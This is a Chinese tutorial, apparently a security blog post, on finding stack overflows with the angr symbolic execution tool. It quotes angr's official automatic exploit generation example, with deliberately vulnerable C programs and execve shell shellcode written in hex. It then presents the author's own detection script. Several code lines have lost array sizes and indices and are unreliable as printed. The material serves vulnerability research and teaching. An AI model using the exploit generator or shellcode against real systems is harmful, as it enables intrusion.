初探利用angr进行漏洞挖掘（上）
前言 angr是一个基于python开发的一款符号执行工具，可以用于二进制分析，在CTF逆向中有很大的用途，例如可以通过约束求解找到复杂计算的正确解，从而拿到flag；然而angr的用途远不止于此，它甚至还能被用于AEG （Automatic Exploit Generation） ，有一个叫zeratool的工具实现了一些用于简单的pwn的AEG，AEG的步骤一般分为：
[*]挖掘漏洞
[*]生成利用exp
[*]验证exp
zeratool采用的挖掘漏洞的方法是通过符号执行，遍历所有可能存在的约束路径，如果出现了 unconstrained状态的路径，则认为产生了漏洞，本人在查看zeratool源码和动手实践的过程中发现这种挖掘方法不尽全面，只适用于一些单一漏洞的例子，再加上zeratool采用的angr版本为7.x，而最新的已经是8.x，8.x的api也发生了很大改变
因此想探究在angr 8.x上实现进一步的栈溢出漏洞探索和堆空间中UAF和Double_Free漏洞探索，本篇主要是分享一些对挖掘栈溢出漏洞的想法和心得，堆漏洞的在下篇，水平有限，大佬轻喷Orz
官方例子 先举一个官方的AEG的简单例子（在angr根目录的examples/insomnihack_aeg中）
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
char component_name = {0};
typedef struct component
{
char name;
int (*do_something)(int arg);
} comp_t;
int sample_func(int x)
{
printf(" - %s - recieved argument %d\n", component_name, x);
}
comp_t *initialize_component(char *cmp_name) {
int i = 0;
comp_t *cmp;
cmp = malloc(sizeof(struct component));
cmp->do_something = sample_func;
printf("Copying component name...\n");
while (*cmp_name)
cmp->name = *cmp_name++;
cmp->name = '\0';
return cmp;
}
int main(void)
{
comp_t *cmp;
printf("Component Name:\n");
read(0, component_name, sizeof component_name);
printf("Initializing component...\n");
cmp = initialize_component(component_name);
printf("Running component...\n");
cmp->do_something(1);
}
这里很明显可以看到有一个堆溢出漏洞，当component_name长度大于32时，会溢出覆盖到cmp->do_something成员，在之后的cmp->do_something(1)中，会导致程序崩溃
而官方给出的angr脚本如下
import os
import sys
import angr
import subprocess
import logging
from angr import sim_options as so
l = logging.getLogger("insomnihack.simple_aeg")
# shellcraft i386.linux.sh
shellcode = bytes.fromhex("6a68682f2f2f73682f62696e89e331c96a0b5899cd80")
def fully_symbolic(state, variable):
'''
check if a symbolic variable is completely symbolic
'''
for i in range(state.arch.bits):
if not state.solver.symbolic(variable):
return False
return True
def check_continuity(address, addresses, length):
'''
dumb way of checking if the region at 'address' contains 'length' amount of controlled
memory.
'''
for i in range(length):
if not address + i in addresses:
return False
return True
def find_symbolic_buffer(state, length):
'''
dumb implementation of find_symbolic_buffer, looks for a buffer in memory under the user's
control
'''
# get all the symbolic bytes from stdin
stdin = state.posix.stdin
sym_addrs = [ ]
for _, symbol in state.solver.get_variables('file', stdin.ident):
sym_addrs.extend(state.memory.addrs_for_name(next(iter(symbol.variables))))
for addr in sym_addrs:
if check_continuity(addr, sym_addrs, length):
yield addr
def main(binary):
p = angr.Project(binary)
binary_name = os.path.basename(binary)
extras = {so.REVERSE_MEMORY_NAME_MAP, so.TRACK_ACTION_HISTORY}
es = p.factory.entry_state(add_options=extras)
sm = p.factory.simulation_manager(es, save_unconstrained=True)
# find a bug giving us control of PC
l.info("looking for vulnerability in '%s'", binary_name)
exploitable_state = None
while exploitable_state is None:
print(sm)
sm.step()
if len(sm.unconstrained) > 0:
l.info("found some unconstrained states, checking exploitability")
for u in sm.unconstrained:
if fully_symbolic(u, u.regs.pc):
exploitable_state = u
break
# no exploitable state found, drop them
sm.drop(stash='unconstrained')
l.info("found a state which looks exploitable")
ep = exploitable_state
assert ep.solver.symbolic(ep.regs.pc), "PC must be symbolic at this point"
l.info("attempting to create exploit based off state")
# keep checking if buffers can hold our shellcode
for buf_addr in find_symbolic_buffer(ep, len(shellcode)):
l.info("found symbolic buffer at %#x", buf_addr)
memory = ep.memory.load(buf_addr, len(shellcode))
sc_bvv = ep.solver.BVV(shellcode)
# check satisfiability of placing shellcode into the address
if ep.satisfiable(extra_constraints=(memory == sc_bvv,ep.regs.pc == buf_addr)):
l.info("found buffer for shellcode, completing exploit")
ep.add_constraints(memory == sc_bvv)
l.info("pointing pc towards shellcode buffer")
ep.add_constraints(ep.regs.pc == buf_addr)
break
else:
l.warning("couldn't find a symbolic buffer for our shellcode! exiting...")
return 1
print(ep.posix.dumps(0))
filename = '%s-exploit' % binary_name
with open(filename, 'wb') as f:
f.write(ep.posix.dumps(0))
print("%s exploit in %s" % (binary_name, filename))
print("run with `(cat %s; cat -) | %s`" % (filename, binary))
return 0
def test():
main('./demo_bin')
assert subprocess.check_output('(cat ./demo_bin-exploit; echo echo BUMO) | ./demo_bin', shell=True) == b'BUMO\n'
if __name__ == '__main__':
# silence some annoying logs
logging.getLogger("angr").setLevel("CRITICAL")
l.setLevel("INFO")
if len(sys.argv) > 1:
sys.exit(main(sys.argv))
else:
print("%s: <binary>" % sys.argv)
简单来说，这个脚本首先通过符号执行，找出unconstrained状态的路径，然后对这个路径进行约束条件限制，查看是否存在满足以下条件的正解：1.有足够的空间放置shellcode，2.rip能指向shellcode，如果满足了条件，说明这个程序可pwn，那么就把满足这些约束的解所在的路径的标准输入记录下来，作为攻击使用的payload
我们可以发现，在漏洞查找这一步，它直接使用了一种简单粗暴的方法，那就是找unconstrained状态的路径，而这种状态的路径一般来说就是rip值不可约束才会产生的，所谓不可约束，意思就是rip不受控制了，或者说它的值符号化了，例如一般发生栈溢出时，rip的值通常是标准输入的某段字符串，而在angr中，stdin也会被符号化，所以说当rip值变成stdin的部分值时，也就使得rip的值也是符号化的，这样就出现了unconstrained状态。
实验例子 在我实践的过程中发现，这种挖掘漏洞的方法不够全面，举个例子：
#include <stdio.h>
void func()
{
char pwd={0};
puts("input admin password:");
read(0,pwd,0x20);
}
void over()
{
puts("over!");
char c={0};
read(0,c,0x20);
}
int main(int argc, char const *argv[])
{
char name={0};
puts("input your name:");
read(0,name,0x10);
over();
if (strstr(name,"admin"))
{
func();
puts("welcome admin~");
}
else
{
printf("welcome, %s\n", name);
}
return 0;
}
//gcc stack1.c -o stack1 -fno-stack-protector
//关闭canary保护
可以看到该源码中有两个栈溢出漏洞，分别是read(0,c,0x20);和read(0,pwd,0x20);
按照前面的例子，通过unconstrained状态来搜索漏洞，写出angr脚本如下：
import angr
p = angr.Project("./stack1")
es = p.factory.entry_state()
sm = p.factory.simulation_manager(es, save_unconstrained=True)
while sm.active:
sm.step()
if sm.unconstrained:
for un in sm.unconstrained:
print("stdout:\n",un.posix.dumps(1))
print("stdin:\n",un.posix.dumps(0),"\n")
而跑出的结果如下
可以发现，仅通过unconstrained查找出的漏洞，只有over函数里面的那个栈溢出
是什么原因导致了这样的结果？
angr的符号执行会遍历去执行每一个路径，在没有出现if之类的分支语句的时候，路径是只有一条的，也就是说随着符号执行的进行，路径才会慢慢变多，而在该例子中，调用over函数时还属于第一条路径，而over函数中发生溢出时产生了unconstrained的状态，于是就此直接退出该路径的后续探索，从而导致没到if (strstr(name,"admin"))路径探索就已经结束了，因此第二个栈溢出漏洞也就难以找出
多漏洞挖掘思路探索 在讲我的挖掘思路之前，需要先回顾一下导致栈溢出的一系列过程：
[*] 栈空间被覆盖
[*] 覆盖到栈中rbp值（不考虑canary）
[*] 覆盖到栈中返回地址值
[*] 函数结束，开始返回
[*] leave（pop rbp ；mov rsp rbp），恢复之前rbp，将之前rbp值赋予rsp
[*] ret（pop rip），发生crash
在上面的例子中，执行到over函数时就结束了后续路径的探索，是因为栈溢出使得rip的值unconstrained了
那么如何才能既可以发现over函数中的栈溢出，又能让over函数正确返回，从而继续探索出后续路径中的栈溢出呢？
根据上述6个过程，我的思路就出来了，就是每次进入一个新的函数时，先存储rbp正确的值，等到函数快结束时，先不着急返回，先去判断栈中的数据是否异常，就看即将被pop的rbp位置的值是否符号化，看将被pop rip位置的值是否符号化，如果是，那么很明显出现了栈溢出，然后使用angr去还原正确的栈数据，也就是还原rbp和返回地址，这样一来，既检测出了漏洞同时使得产生漏洞的函数能够继续执行下去，从而达到了探索多个漏洞的目的
以上是总体的思路，但实际上还有许多的小问题需要解决
比如
如何判断进入了一个新的函数和即将离开这个函数呢？
这里我使用的方法是，可以通过判断汇编指令，比如进入函数时，如果出现了push rbp; mov rsp,rbp;这样的指令，那么基本上可以判断是函数的开头，如果出现了leave; ret;，同样可以判断是函数的结尾
代码的具体实现如下：
def check_head(state):
insns=state.project.factory.block(state.addr).capstone.insns
if len(insns)>=2:
#check for : push rbp; mov rsp,rbp;
ins0=insns.insn
ins1=insns.insn
if len(ins0.operands)==1 and len(ins1.operands)==2:
# print(insns)
ins0_name=ins0.mnemonic#push
ins0_op0=ins0.reg_name(ins0.operands.reg)#rbp
ins1_name=ins1.mnemonic#mov
ins1_op0=ins1.reg_name(ins1.operands.reg)#rsp
ins1_op1=ins1.reg_name(ins1.operands.reg)#rbp
if ins0_name=="push" and ins0_op0=="rbp" and ins1_name=="mov" and ins1_op0=="rbp" and ins1_op1=="rsp":
# print("find a function head,save the rsp,rbp")
pre_target=state.callstack.ret_addr
state.globals['rbp_list']=state.regs.rbp
def check_end(state):
if state.addr==0:
return
insns=state.project.factory.block(state.addr).capstone.insns
if len(insns)>=2:
flag=0
#check for : leave; ret;
for ins in insns:
if ins.insn.mnemonic=="leave":
flag+=1
if ins.insn.mnemonic=="ret":
flag+=1
if flag==2:
........
当函数调用多的时候，如何存储正确的rbp值？
每次进入新函数时，可以使用字典的方式进行存储rbp，key为该函数结束时的正确返回地址，value为当前函数的rbp，这样一来不论函数调用多复杂，都可以通过唯一的返回地址锁定rbp的正确值
当符号执行路径多的时候，如何保证不同路径之间存储的rbp值是相互独立且不受干扰？
angr中提供了一种这样的用法：state.globals['rbp_list']={}
这个意思是，设置路径state的一个全局变量名为rbp_list，且初始化rbp_list为一个空的字典
这种设置全局变量的方法，只会在被设置的路径以及其衍生路径中存在
比如
int main()
{
.....
if(xxx)
{
//路径1，不存在name变量
}
else if(xxx)
{
////路径2
设置state.globals['name']=“23R3F”
if(xxx)
{
//路径2.1，存在name变量
}
else
{
设置state.globals['age']=233
//路径2.2，存在name、age变量
}
}
else if(xxx)
{
//路径3，不存在name变量
}
else
{
//路径4，不存在name变量
}
}
因此通过这种方法设置的路径全局变量rbp_list字典可以保证不被其他不相干路径所干扰
有的时候溢出不一定导致rip修改，可能只溢出到rbp的几个字节，这种情况又该如何挖掘搜索出来？
这里用了angr提供的一种方法，可以检测某地址的值是否符号化，通过这种方法，就能计算出溢出的具体字节，至于溢出到rbp和返回地址，这里可以通过检测顺序来解决，比如溢出到了返回地址，那么必然是溢出了rbp，那么就直接报出pc overflow，因此首先检测返回地址是否被溢出，然后再检测是否溢出到了rbp，如果只溢出到rbp则只报出 rbp overflow
相关代码如下
def check_symbolic_bits(state,val):
bits = 0
for idx in range(state.arch.bits):
if val.symbolic:
bits += 1
return bits
def check_end(state):
..........
..........
rsp=state.regs.rsp
rbp=state.regs.rbp
byte_s=state.arch.bytes
stack_rbp=state.memory.load(rbp,endness=angr.archinfo.Endness.LE)
stack_ret=state.memory.load(rbp+byte_s,endness=angr.archinfo.Endness.LE)
pre_target=state.callstack.ret_addr
pre_rbp=state.globals['rbp_list']
if stack_ret.symbolic:
num=check_symbolic_bits(state,stack_ret)
print_pc_overflow_msg(state,num//byte_s)
state.memory.store(rbp,pre_rbp,endness=angr.archinfo.Endness.LE)
state.memory.store(rbp+byte_s, state.solver.BVV(pre_target, 64),endness=angr.archinfo.Endness.LE)
return
if stack_rbp.symbolic:
num=check_symbolic_bits(state,stack_rbp)
print_bp_overflow_msg(state,num//byte_s)
state.memory.store(rbp,pre_rbp,endness=angr.archinfo.Endness.LE)
完整代码 以下是完整的代码
import angr
def check_symbolic_bits(state,val):
bits = 0
for idx in range(state.arch.bits):
if val.symbolic:
bits += 1
return bits
def print_pc_overflow_msg(state,byte_s):
print("\n[========find a pc overflow========]")
print("over for ",hex(byte_s),"bytes")
print("stdout:\n",state.posix.dumps(1))
print("trigger overflow input:")
print(state.posix.dumps(0))
def print_bp_overflow_msg(state,byte_s):
print("\n[========find a bp overflow========]")
print("over for ",hex(byte_s),"bytes")
print("stdout:\n",state.posix.dumps(1))
print("trigger overflow input:")
print(state.posix.dumps(0))
def check_end(state):
if state.addr==0:
return
insns=state.project.factory.block(state.addr).capstone.insns
if len(insns)>=2:
flag=0
#check for : leave; ret;
for ins in insns:
if ins.insn.mnemonic=="leave":
flag+=1
if ins.insn.mnemonic=="ret":
flag+=1
# ins0=insns.insn
# ins1=insns.insn
# if ins0.mnemonic=="leave" and ins1.mnemonic=="ret":
if flag==2:
rsp=state.regs.rsp
rbp=state.regs.rbp
byte_s=state.arch.bytes
stack_rbp=state.memory.load(rbp,endness=angr.archinfo.Endness.LE)
stack_ret=state.memory.load(rbp+byte_s,endness=angr.archinfo.Endness.LE)
pre_target=state.callstack.ret_addr
pre_rbp=state.globals['rbp_list']
if stack_ret.symbolic:
num=check_symbolic_bits(state,stack_ret)
print_pc_overflow_msg(state,num//byte_s)
state.memory.store(rbp,pre_rbp,endness=angr.archinfo.Endness.LE)
state.memory.store(rbp+byte_s, state.solver.BVV(pre_target, 64),endness=angr.archinfo.Endness.LE)
return
if stack_rbp.symbolic:
num=check_symbolic_bits(state,stack_rbp)
print_bp_overflow_msg(state,num//byte_s)
state.memory.store(rbp,pre_rbp,endness=angr.archinfo.Endness.LE)
def check_head(state):
insns=state.project.factory.block(state.addr).capstone.insns
if len(insns)>=2:
#check for : push rbp; mov rsp,rbp;
ins0=insns.insn
ins1=insns.insn
if len(ins0.operands)==1 and len(ins1.operands)==2:
# print(insns)
ins0_name=ins0.mnemonic#push
ins0_op0=ins0.reg_name(ins0.operands.reg)#rbp
ins1_name=ins1.mnemonic#mov
ins1_op0=ins1.reg_name(ins1.operands.reg)#rsp
ins1_op1=ins1.reg_name(ins1.operands.reg)#rbp
if ins0_name=="push" and ins0_op0=="rbp" and ins1_name=="mov" and ins1_op0=="rbp" and ins1_op1=="rsp":
# print("find a function head,save the rsp,rbp")
pre_target=state.callstack.ret_addr
state.globals['rbp_list']=state.regs.rbp
if __name__ == '__main__':
filename="stack1"
p = angr.Project(filename,auto_load_libs=False)
state=p.factory.entry_state()
state.globals['rbp_list']={}
simgr = p.factory.simulation_manager(state,save_unconstrained=True)
while simgr.active:
for act in simgr.active:
# print("||||||||||||||active head||||||||||||")
check_head(act)
check_end(act)
# print("||||||||||||||active end|||||||||||||")
simgr.step()
# print("now->",simgr,"\n")
运行后，可以发现，完美的搜索到了两个栈溢出漏洞：
以上便是我关于栈溢出方面的一点点挖掘思路，如果有师傅有更骚的操作，也望不啬赐教
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